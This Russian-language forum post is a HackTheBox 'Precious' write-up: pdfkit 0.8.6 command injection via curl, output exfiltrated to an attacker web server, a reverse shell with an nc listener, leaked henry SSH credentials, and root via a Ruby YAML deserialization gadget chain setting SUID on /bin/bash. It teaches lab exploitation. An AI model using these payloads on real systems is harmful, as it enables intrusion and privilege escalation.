Приветствую, уважаемые читатели форума
Codeby
! Сегодня мы пройдём, как мне кажется, самую лёгкую машину на HackTheBox
, которая на данный момент вознаграждается поинтами.Разведка
Начнём с того , что просканируем порты. Используем флаг
-sC
, чтобы использовать стандартные скрипты, -sV
, чтобы определить сервисы открытых портов и -sS
, чтобы использовать TCP SYN
сканирование на основе полуоткрытых соединений (для этого мы также запускаем nmap с правами суперпользователя):У нас есть типичный для CTF порт
22
, который мы скорее всего будем использовать, когда уже получим данные пользователя/рута. И 80
порт - на нём, как правило, располагается веб-сервер.Переходим на
http://10.10.11.189
:Нас тут же редиректит на домен
precious.htb
. Следовательно, чтобы получить доступ к сайту нам нужно настроить /etc/hosts
(подробнее про файл /etc/hosts
Вы можете прочитать
Ссылка скрыта от гостей
). Внести туда имя домена и IP
-адрес машины. Для этого открываем данный файл в консольном редакторе nano
с правами суперпользователя:
Bash:
sudo nano /etc/hosts
И вносим туда следующую строку:
Код:
10.10.11.189 precious.htb
Теперь переходим на
http://precious.htb
:На сайте мы можем сконвертировать любую веб-страницу в
PDF
-файл. Я пробовал эксплуатировать OS Command Injection
, LFI
, RFI
и SSRF
, предполагая, что на бэкэнде используются опасные функции, - ничего не вышло:Давайте запустим веб-сервер пайтона, чтобы проверить, может ли сервер отправлять свои запросы на нашу рабочую машину:
Bash:
python3 -m http.server
Теперь вводим наш локальный
IP
-адрес в поле ввода на главной странице precious.htb
:После отправки запроса веб-сайт предлагает нам скачать
PDF
-файл, в котором располагается содержимое ссылки (мы её указали в форме):Мы можем заставить веб-сервер атакуемой машины отправить
GET
-запрос на наш веб-сервер, вот только особой выгоды с этого не получить:Что насчёт самих
PDF
-файлов? Очевидно, что на сервере есть автоматизированный инструмент, который их генерирует. Есть вероятность того, что его название и версия указаны в метаданных файла. Проверим файл с помощью exiftool
:Видим следующую строку:
Creator: Generated by pdfkit v0.8.6
То есть используется
pdfkit
версии 0.8.6
. Давайте поищем в гугле возможные уязвимости на данный софт:Становится понятно, что это и есть ключ к взлому. В
pdfkit
версии 0.8.6
есть Command Injection
. Данная уязвимость позволяет нам выполнять любые команды от лица пользователя веб-сервера. Теперь давайте разберёмся с эксплуатацией.На
Ссылка скрыта от гостей
мы можем найти PoC (Proof Of Concept)
уязвимости:Так как мы передаём данные через
POST
-параметр url
, следовательно, в него нам и нужно класть пэйлоад:Согласно
PoC'у
и описанию уязвимости, нам требуется использовать следующий пэйлоад:
Код:
http://10.10.16.52/?name=%20`<команда ОС>`
Будем использовать
curl
, но можно также использовать и сам BurpSuite
. Используем опцию -X
, чтобы указать, что будет POST
-запрос и опцию --data-raw
, чтобы указать POST
-параметр url
:
Bash:
curl "http://precious.htb/" -X POST --data-raw "url=http://10.10.16.52/?name=%20`whoami`"
Не забудьте закодировать пэйлоад
url
-параметра в URL
-энкод:
Bash:
curl "http://precious.htb/" -X POST --data-raw "url=http%3A%2F%2F10.10.16.52%2F%3Fname%3D%2520%60whoami%60"
Нам также требуется поднять наш веб-сервер, куда будут приходить
GET
-запросы (которые содержат результат отработки пэйлоада) с атакуемой машины. Я запустил веб-сервер пайтона с правами суперпользователя, чтобы он работал на 80
порту. После того, как мы его запустили, отправляем наш пэйлоад. Как можно заметить, precious.htb
отправляет нам запрос с результатом работы пэйлоада в GET
-параметре name
:Скорее всего бэкэнд веб-сервера написан на
Ruby
, так как его пользователь - ruby
. Когда мы убедились в том, что Command Injection
действительно работает, давайте организуем себе реверс шелл. Крайне рекомендую сервис
Ссылка скрыта от гостей
. Достаточно вбить IP
-адрес и порт машины, куда придёт реверс-шелл, чтобы получить готовый пэйлоад:Мы знаем, что на сервере используется
Ruby
, следовательно, логичнее всего использовать реверс шелл через данный язык программирования. Копируем то, что выдал нам Reverse Shell Generator
и кладём это в место, которое предназначено для пэйлоада:
Код:
http://10.10.16.52/?name=%20`<вот сюда>`
Конечно же, перед этим ставим листенер, например, на
9898
порт:
Bash:
nc -nlvp 9898
Делаем
URL
-энкод значения POST
-параметра url
и отправляем запрос:Отлично, мы залетели на машину. Теперь нам нужно повысить привилегии и получить пользователя.
Взятие пользователя
Немного перебрав различных конфигов, я нашёл скрытый каталог
.bundle
в домашней директории пользователя ruby
. В нем есть файл config
. Читаем файл - получаем данные пользователя henry
:henry:Q3c1AqGHtoI0aXAYFH
Подключаемся по
ssh
к precious.htb
:
Bash:
ssh henry@precious.htb
Теперь можем забирать флаг пользователя -
user.txt
.Взятие суперпользователя
Используем
sudo -l
, чтобы узнать, что мы можем запустить от лица суперпользователя:Мы можем запустить следующую команду при этом использовав пароль от
henry
:
Bash:
sudo /usr/bin/ruby /opt/update_dependencies.rb
Давайте глянем, что у нас в файле
/opt/update_dependencies.rb
. Там следующий код:
Ruby:
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
В гугле мы можем найти множество источников про атаку десериализации
YAML
(YAML Deserialization Attack
). В данном случае она эксплуатируется через YAML.load()
. Я нашел следующую статью, где эксплуатируется похожий код с YAML.lopad()
-
Ссылка скрыта от гостей
. Мы можем проверить пэйлоад из статьи:
YAML:
:payload:
- !ruby/class 'Gem::SpecFetcher'
- !ruby/class 'Gem::Installer'
- !ruby/object:Gem::Requirement
requirements: !ruby/object:Gem::Package::TarReader
io: !ruby/object:Net::BufferedIO
io: !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: aaa
debug_output: !ruby/object:Net::WriteAdapter
socket: !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: date >> /tmp/rce9b.txt
method_id: :resolve
Создаём файл
dependencies.yml
в каталоге /tmp
и просто копируем туда содержимое пэйлоада. Затем запускаем скрипт update_dependencies.rb
с помощью прав суперпользователя и интерпретатора ruby
:Пэйлоад предполагает то, что после его отработки создастся файл
rce9b.txt
с владельцем и группой файла root:root
:Всё пошло по правильному сценарию. Следовательно, в
YML
-файле нам нужно класть пэйлоад в git_set
:
YAML:
:payload:
- !ruby/class 'Gem::SpecFetcher'
- !ruby/class 'Gem::Installer'
- !ruby/object:Gem::Requirement
requirements: !ruby/object:Gem::Package::TarReader
io: !ruby/object:Net::BufferedIO
io: !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: aaa
debug_output: !ruby/object:Net::WriteAdapter
socket: !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: <вот сюда>
method_id: :resolve
Теперь нужно подумать, как нам взять рута. В целом, мы можем просто скопировать флаг
root.txt
в /tmp
с помощью следующего пэйлоада:
YAML:
:payload:
- !ruby/class 'Gem::SpecFetcher'
- !ruby/class 'Gem::Installer'
- !ruby/object:Gem::Requirement
requirements: !ruby/object:Gem::Package::TarReader
io: !ruby/object:Net::BufferedIO
io: !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: aaa
debug_output: !ruby/object:Net::WriteAdapter
socket: !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: cp /root/root.txt /tmp/; chmod 777 /tmp/root.txt
method_id: :resolve
Но в таком случае мы не получим полноценный
root
-доступ. Можем выставить SUID
-бит на /bin/bash
, чтобы запустить командную оболочку bash
от имени пользователя root
(подробнее про SUID
-биты Вы можете прочитать тут).Приводим
YML
-файл к следующему виду:
YAML:
:payload:
- !ruby/class 'Gem::SpecFetcher'
- !ruby/class 'Gem::Installer'
- !ruby/object:Gem::Requirement
requirements: !ruby/object:Gem::Package::TarReader
io: !ruby/object:Net::BufferedIO
io: !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: aaa
debug_output: !ruby/object:Net::WriteAdapter
socket: !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: chmod u+s /bin/bash
method_id: :resolve
И запускаем
ruby
-скрипт с правами суперпользователя:Теперь запускаем
bash
с опцией -p
, чтобы запустить командную оболочку от лица пользователя root
. Про то, как повышать привилегии с помощью программ, которые имеют SUID
-бит, Вы можете ознакомиться на
Ссылка скрыта от гостей
:Теперь мы с чувством выполненного долга можем прочитать
root.txt
:Друзья, большое спасибо, что прочитали данную статью. Пожалуйста, укажите в комментариях, если я допустил какие-либо ошибки или есть какие-нибудь неточности
Последнее редактирование модератором: